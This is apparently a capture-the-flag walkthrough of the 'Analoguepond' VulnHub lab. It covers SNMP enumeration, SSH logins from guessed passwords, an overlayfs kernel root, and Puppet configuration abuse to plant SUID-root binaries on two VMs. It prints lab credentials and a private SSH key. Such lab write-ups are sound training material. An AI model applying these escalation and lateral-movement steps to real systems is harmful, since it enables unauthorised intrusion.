Today’s VM should be fun, since it’s from knightmare, so we should expect lots of references! I’m also not sure about the actual name of the box, if it’s Analougepond or Analoguepond. A promising start =D
Remember TCP is not the only protocol on the Internet My challenges are never finished with root. I make you work for the flags. The intended
route is NOT to use forensics or 0-days, I will not complain either way.
To consider this VM complete, you need to have obtained:
Troll Flag: where you normally look for them
Flag 1: You have it when you book Jennifer tickets to Paris on Pan Am.
Flag 2: It will include a final challenge to confirm you hit the jackpot.
Have root everywhere (this will make sense once you’re in the VM)
User passwords
2 VNC passwords
Best of luck! If you get stuck, eat some EXTRABACON
NB: Please allow 5-10 minutes or so from powering on the VM for background tasks to run before proceeding to attack.
For the recon part, today I’ll be using Reconnoitre
A reconnaissance tool made for the OSCP labs to automate information gathering and service enumeration whilst creating a directory structure to store results, findings and exploits used for > each host, recommended commands to execute and directory structures for storing loot and flags.
reconnoitre -h
usage: reconnoitre [-h] -t TARGET_HOSTS -o OUTPUT_DIRECTORY [-w WORDLIST]
[-p PORT] [--pingsweep] [--dns] [--services] [--hostnames]
[--snmp] [--quick] [--virtualhosts]
[--ignore-http-codes IGNORE_HTTP_CODES]
[--ignore-content-length IGNORE_CONTENT_LENGTH] [--quiet]
[--no-udp]
optional arguments:
-h, --help show this help message and exit
-t TARGET_HOSTS Set a target range of addresses to target. Ex
10.11.1.1-255
-o OUTPUT_DIRECTORY Set the output directory. Ex /root/Documents/labs/
-w WORDLIST Set the wordlist to use for generated commands. Ex
/usr/share/wordlist.txt
-p PORT Set the port to use. Leave blank to use discovered
ports. Useful to force virtual host scanning on non-
standard webserver ports.
--pingsweep Write a new target.txt by performing a ping sweep and
discovering live hosts.
--dns, --dnssweep Find DNS servers from a list of targets.
--services Perform service scan over targets.
--hostnames Attempt to discover target hostnames and write to
0-name.txt and hostnames.txt.
--snmp Perform service scan over targets.
--quick Move to the next target after performing a quick scan
and writing first-round recommendations.
--virtualhosts Attempt to discover virtual hosts using the specified
wordlist.
--ignore-http-codes IGNORE_HTTP_CODES
Comma separated list of http codes to ignore with
virtual host scans.
--ignore-content-length IGNORE_CONTENT_LENGTH
Ignore content lengths of specificed amount. This may
become useful when a server returns a static page on
every virtual host guess.
--quiet Supress banner and headers to limit to comma dilimeted
results only.
--no-udp Disable UDP services scan over targets.
I ran reconnoitre and it created a directory structure with multiple files:
123456789101112131415161718192021
reconnoitre -t 192.168.159.136 --services -o .
__
|\"\"\"\-= RECONNOITRE
(____) An OSCP scanner by @codingo_
[+] Testing for required utilities on your system.
[#] Performing service scans
[*] Loaded single target: 192.168.159.136
[+] Creating directory structure for 192.168.159.136
[>] Creating scans directory at: ./192.168.159.136/scans
[>] Creating exploit directory at: ./192.168.159.136/exploit
[>] Creating loot directory at: ./192.168.159.136/loot
[>] Creating proof file at: ./192.168.159.136/proof.txt
[+] Starting quick nmap scan for 192.168.159.136
[+] Writing findings for 192.168.159.136
[*] Found SSH service on 192.168.159.136:22
[*] TCP quick scans completed for 192.168.159.136
[+] Starting detailed TCP/UDP nmap scans for 192.168.159.136
[+] Writing findings for 192.168.159.136
[*] Found SSH service on 192.168.159.136:22
[*] TCP/UDP scans completed for 192.168.159.136
The files contain the commands that were run and the output, along with recommendations. The scans revealed that SSH and SNMP are open on the box:
123456789101112
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 64 OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 096a5051642b555800000000
| snmpEngineBoots: 19
|_ snmpEngineTime: 3h58m00s
| snmp-sysdescr: Linux analoguepond 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64
|_ System uptime: 3h58m0.20s (1428020 timeticks)
Service Info: Host: analoguepond
Next I enumerated the SNMP information:
12345678910111213141516
snmp-check 192.168.159.136
snmp-check v1.9 - SNMP enumerator
Copyright (c) 2005-2015 by Matteo Cantoni (www.nothink.org)
[+] Try to connect to 192.168.159.136:161 using SNMPv1 and community 'public'
[*] System information:
Host IP address : 192.168.159.136
Hostname : analoguepond
Description : Linux analoguepond 3.19.0-25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:16:20 UTC 2015 x86_64
Contact : Eric Burdon <eric@example.com>
Location : There is a house in New Orleans they call it...
Uptime snmp : 05:15:30.80
Uptime system : 05:15:20.10
System date : 2019-5-23 15:39:09.0
We have a possible user account called eric. I googled the line about New Orleans and found it’s from a song:
There is a house in New Orleans
They call the rising sun
The credentials eric/therisingsun worked for SSH. In the home directory I found a funny image that may be useful for something later:
I ran LinEnum on the box and noticed some VMs running on it:
12345
[-] ARP history:
barringsbank.example.com (192.168.122.3) at 52:54:00:6d:93:6a [ether] on virbr0
? (192.168.159.129) at 00:0c:29:9c:6f:0f [ether] on eth0
puppet.example.com (192.168.122.2) at 52:54:00:5b:05:f7 [ether] on virbr0
? (192.168.159.1) at 00:50:56:c0:00:01 [ether] on eth0
Troll flag
The OS running is Ubuntu 14.04.5 LTS, so it’s vulnerable to the overlayfs exploit. With it, I got root easily, and read the first flag:
1234567
root@analoguepond:/root# cat flag.txt
C'Mon Man! Y'all didn't think this was the final flag so soon...?
Did the bright lights and big city knock you out...? If you pull
a stunt like this again, I'll send you back to Walker...
This is obviously troll flah #1 So keep going.
2 VNC passwords
Ok, we have root, but this is only the beginning. We know that we should find 2 VNC passwords, and they are probably for the 2 VMs we identified earlier. I confirmed it:
I searched for the VM configuration files, they were located in /etc/libvirt/qemu:
12
root@analoguepond:/etc/libvirt/qemu# ls *.xml
barringsbank.xml puppet.xml
I read the files and found the password for barringsbank is memphistennessee, while the password for puppet is sendyoubacktowalker. Since nc was installed on the box, I used it to port scan the VMs. They didn’t have 5900 port open, but they did have SSH listening:
1234
root@analoguepond:/etc/libvirt/qemu# nc -zv 192.168.122.3 22
Connection to 192.168.122.3 22 port [tcp/ssh] succeeded!
root@analoguepond:/etc/libvirt/qemu# nc -zv 192.168.122.2 22
Connection to 192.168.122.2 22 port [tcp/ssh] succeeded!
Rooting puppet
I tried to SSH on the puppet VM first, to see if I can get any info, and the banner did not disappoint:
12345
ssh root@192.168.122.2
+-----------------------------------------------------------------------------+
| Passwords are very dated.. Removing spaces helps sandieshaw log in with her |
| most famous song |
+-----------------------------------------------------------------------------+
We found out there’s a sandieshaw user and got a hint for the password. After a little Googling, I learned that one of Sandie Shaw’s most famous songs is Puppet on a String..and this suits the VM, so I removed the spaces and tried lowercase first, and got in with sandieshaw/puppetonastring.
This seems to be a Puppet-centric machine. Puppet is a tool for automating infrastructure and software configuration management. You can learn more from https://puppet.com/
Back to the machine, I checked that Puppet is running:
Then I looked inside puppet’s config directory, in /etc/puppet, and I found lots of configuration files for the barringsbank VM inside modules/vulnhub/files/:
Continuing with the information gathering, the barringsbank-sshd_config reveals that public key authentication is used for SSH on the VM.
Inside manifests there’s a module called init.pp that removes from the system the useful command line utilities lice nmap, ncaat, etc. and reverses changes to key system files. It’s pretty funny and contains references to various Vulnhub users.
## Module to unwind changed #vulnhub people make. This will unwind the most
## common vectors they used to get at my other VMs
class vulnhub {
## purge packages they abuse too (hello mrB3n, GKNSB, Ch3rn0byl, mr_h4sh)
$purge = [ "nano", "wget", "curl", "fetch","nmap", "netcat-traditional",
"ncat", "netdiscover", "lftp" ]
package { $purge:
ensure => purged,
}
## The encryption is still primative Egyptian (Hello drweb)
$theresas_nightmare = [ "cryptcat", "socat" ]
package { $theresas_nightmare:
ensure => present,
}
## Adding to sudoers is a bit naughty so reverse that (most of #vulnhub)
file { "/etc/sudoers.d":
ensure => "directory",
recurse => true,
purge => true,
force => true,
owner => root,
group => root,
mode => 0755,
source => "puppet:///modules/vulnhub/sudoers.d",
}
## revert /etc/passwd (Hey rfc, kevinnz!)
file {'/etc/sudoers':
ensure => present,
owner => root,
group => root,
mode => 0440,
source => "puppet:///modules/vulnhub/sudoers",
}
## revert /etc/passwd (Hey Rasta_Mouse!)
file {'/etc/passwd':
ensure => present,
owner => root,
group => root,
mode => 0644,
source => "puppet:///modules/vulnhub/${hostname}-passwd",
}
## and /etc/group (Hello to you cmaddy)
file {'/etc/group':
ensure => present,
owner => root,
group => root,
mode => 0644,
source => "puppet:///modules/vulnhub/${hostname}-group",
}
## Mr Potato Head! BACKDOORS ARE NOT SECRETS (Hey GKNSB!)
file {'/etc/ssh/ssd_config':
ensure => present,
owner => root,
group => root,
mode => 0644,
source => "puppet:///modules/vulnhub/${hostname}-sshd_config",
notify => Service["ssh"],
}
## Leave US keyboard for those crazy yanks, and not to torture Ch3rn0byl like
## Gibson
cron { "puppet check in":
command => "/usr/bin/puppet agent --test > /dev/null 2>&1",
user => "root",
minute => "*/10",
ensure => present,
}
## Everyone forbidden by default (Hey wrboyce, rasta_mouse, 8bitkiwi)
file {'/etc/hosts.deny':
ensure => present,
owner => root,
group => root,
mode => 0644,
source => "puppet:///modules/vulnhub/hosts.deny",
}
## Firewall off to only specific hosts (Hello Bas!)
file {'/etc/hosts.allow':
ensure => present,
owner => root,
group => root,
mode => 0644,
source => "puppet:///modules/vulnhub/${hostname}-hosts.allow",
}
## Don't fill up the disk (Hey GlobalMaquereau, g0bl1n)
tidy { "/var/lib/puppet/reports":
age => "1h",
recurse => true,
}
## Changing openssh config requires restart
service { 'ssh':
ensure => running,
enable => true,
hasstatus => true,
hasrestart => true,
}
}
Inside the fiveeights module there’s another file referencing the contents of SSH authorized keys for the nleeson user:
123456789
sandieshaw@puppet:/etc/puppet/modules$ cat fiveeights/manifests/init.pp
## Nick's secret file hide the screw-ups
class fiveeights {
## private key held elsewhere. Keep looking
file { '/home/nleeson/.ssh/authorized_keys':
content => "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCTPnm+I5zEPNUHc1PgmsIxK8XCvtRECY6nTFOdNL3CxVBepWLv0wgPWBIUAkP9nfPUshXo1EIjcvb0+RGtJ8KNbVK4vW2ZCwgNicUoYnCcVtSrGtz9oAnKpeGcCKAuHG6ybt4Opxe75eF4dZt2/aDRrPMw8PK8l8a3o9ZdJlIgdLiWORPiga/zUu1zuySkQPFHzPBp29MvWVwAYsssEjcXINfuvysPbdBzMJaJ2o4jmFV9g/uCz3xjRi9zULP1VpoRYtZUQadU2CpuN1RtVDeoSeYVe6vYkeLz6rCBQTUfi9Nea4X1JtvaTfnrquRMWOr43WnMMcdFpIsBd8oCI4jH root@puppet",
}
}
Another interesting module is the wiggle one, that references a binary called spin that needs to be present in /tmp, and when puppet runs it will change its ownership to root and make it SUID:
123456789101112131415
sandieshaw@puppet:/etc/puppet/modules$ cat wiggle/manifests/init.pp
## My first puppet module by Nick Leeson (C) Barringsbank
## Put spin binary in /tmp to confirm puppet is working
class wiggle {
file { [ "/tmp/spin" ]:
ensure => present,
mode => 4755,
owner => root,
group => root,
source => "puppet:///modules/wiggle/spin";
}
}
This module looks like the way in for privilege escalation. You can find the spin binary and its source code inside /etc/puppet/modules/wiggle/files, it just spins the cursor and outputs a character out of a list. Not too useful, but our sandieshaw user is the owner and has write permissions over it:
1234
sandieshaw@puppet:/etc/puppet/modules/wiggle/files$ ls -l
total 724
-rwxrwxr-x 1 sandieshaw sandieshaw 733480 Dec 21 2016 spin
-rw-rw-r-- 1 sandieshaw sandieshaw 376 Dec 17 2016 spin.c
In order to exploit this, I created a malicious spin executable with a SUID shell:
# ls
my_world_you_are_persistent_try nleeson_key.gpg
Let’s see what we have here:
12
# cat my_world_you_are_persistent_try
joshua
Might be a password for something later. The other file is related to the nleeson user we found on the other VM a while ago. I tried to decrypt it with the password secrets, but it didn’t work. But the hint in the jim file was referring to a secret, so I tried secret and it decrypted a private SSH key for nleeson:
# gpg -d nleeson_key.gpg
gpg: CAST5 encrypted data
gpg: gpg-agent is not available in this session
gpg: encrypted with 1 passphrase
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,1864E0393453C88F778D5E02717B8B16
RTSpHZnf1Onpy3OHfSat0Bzbrx8wd6EBKlbdZiGjEB0AC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Qzf4T1cfK7JTdIC2ULGmFZM26BX3UCV0K+9OOGgRDPU4noS0gNHxP
VaWVmjGgubE4GDlW0tgw1ET+LaUdAv/LE+3gghpRLn1imdaW9elnIeaVeOWcyrBC
Ypl8AjYXNRd0uLWBC8xbakmK1tZUPXwefqjQpKjuIuYmmVes3M4DFxGQajmK03nO
oGaByHu0RVjy0x/zBuOuOp6eKpeaiLWfLM5DSIWlksL/2dmAloSs3LrIPu4dTnRb
v2YQ+72nLI62alLEaKwXUBoHSSRNTv0hbOyvV8YUp4EmJ8yShAmEE/n9Et62BwYB
rsi0RhEfih+43PzlwB91I4Elr2k3eBwQ9XiF3KdVgj6wvwqNLZ7aC5YpLcYaVyNT
fKzUxX02Ejvo60xWJ8u6GIhUK404s2WVeG/PCLwtrKGjpyPCn3yCWpCWpGPuVNrx
Wg0Um581e4Vw5CLDL5hRLmo7wiqssuL3/Uugf/lc2vF+MxJyoI1F9Zkt2xvRYrLB
-----END RSA PRIVATE KEY-----
gpg: WARNING: message was not integrity protected
I extracted the private key and used it to SSH to the other VM as nleeson. It asked for a passphrase, and I used joshua from the file:
12345678910111213141516171819
gpg nleeson_key.gpg > nleeson_key
chmod 600 nleeson
# ssh -i nleeson nleeson@192.168.122.3
Enter passphrase for key 'nleeson':
Welcome to Ubuntu 14.04.3 LTS (GNU/Linux 4.4.0-57-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information disabled due to load higher than 1.0
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
nleeson@barringsbank:~$
Rooting barringsbank
Inside nleeson’s home there’s nothing interesting. I found another reticulatingsplines picture like in eric’s home. There wasn’t anything exploitable around, but we know that Puppet is pushing configuration changes from the puppet VM. With my root privileges in that VM, I edited the nodes.pp and site.pp files in /etc/puppet/manifests to include the wiggle module on barringsbank as well:
123
node 'barringsbank.example.com' inherits 'default' {
include wiggle
}
If you’re wondering how long you have to wait for Puppet changes to propagate over the nodes, there’s a cron job that runs every 10 minutes:
Nothing’s stopping us from running the agent though. Whichever way you choose, the spin binary will now appear in /tmp on barringsbank, and that’s another root:
Inside /root there’s an image owned by nleeson that I transferred all the way back to my machine:
1
-rw-rw-r-- 1 nleeson nleeson 215K Dec 21 2016 me.jpeg
Final flag
Checking for embedded data on the image, we’re being asked for a passphrase. I’ve used all the hints, tried extrabacon as well..but remember the 2 cow pictures called reticulatingsplines found on 2 separate machines. Trying that as the passphrase worked:
12345678910
steghide info me.jpeg
"me.jpeg":
format: jpeg
capacity: 11.9 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "primate_egyptian_flag.txt":
size: 3.7 KB
encrypted: rijndael-128, cbc
compressed: yes
I then extracted the file:
123
steghide extract -sf me.jpeg
Enter passphrase:
wrote extracted data to "primate_egyptian_flag.txt".
A big hex string that gets decoded to another reversed Base64 string. I used the CLI to decode the flag:
cat primate_egyptian_flag.txt | xxd -p -r | rev | base64 -d
Here's a fender bass for you...
,-. _.---._
| `\.__.-'' `.
\ _ _ ,. \
,+++=._________________)_||______|_|_|| |
(_.ooo.===================||======|=|=|| |
~~' | ~' `~' o o /
\ /~`\ o o /
`~' `-.____.-'
Congratulations to you once again and for the sixth time on capturing this
flag!
I've tried to mix things up a bit here, to move away from throw metasploit
and web exploits at things. I hope you have enjoyed that portion and your
feedback on this aspect would be appreciated.
Of note, these VMs are set to do automatic security updates using puppet,
so this ought to keep things dynamic enough for people.
Many thanks to mrB3n, Rand0mByteZ and kevinnz for testing this CTF.
A special thank you to g0tmi1k for hosting all these challenges and the
valuable advice. A tip of the hat to mrb3n for his recent assistance. Hit
me on IRC or twitter if you are looking for a hint or have completed the
challenge.
Go on, Complete the circle: 06:30 to 07:45 of episode #1 of Our Friends In
The North (C) BBC 1995.. What's the connection....?
--Knightmare
This was another excellent machine by Knightmare! Using puppet for exploitation was a new and exciting way to pwn the box.
123456789
_______________________________________
/ Communicate! It can't make things any \
\ worse. /
---------------------------------------
\ ^__^
\ (oo)\_______
(__)\ )\/\
||----w |
|| ||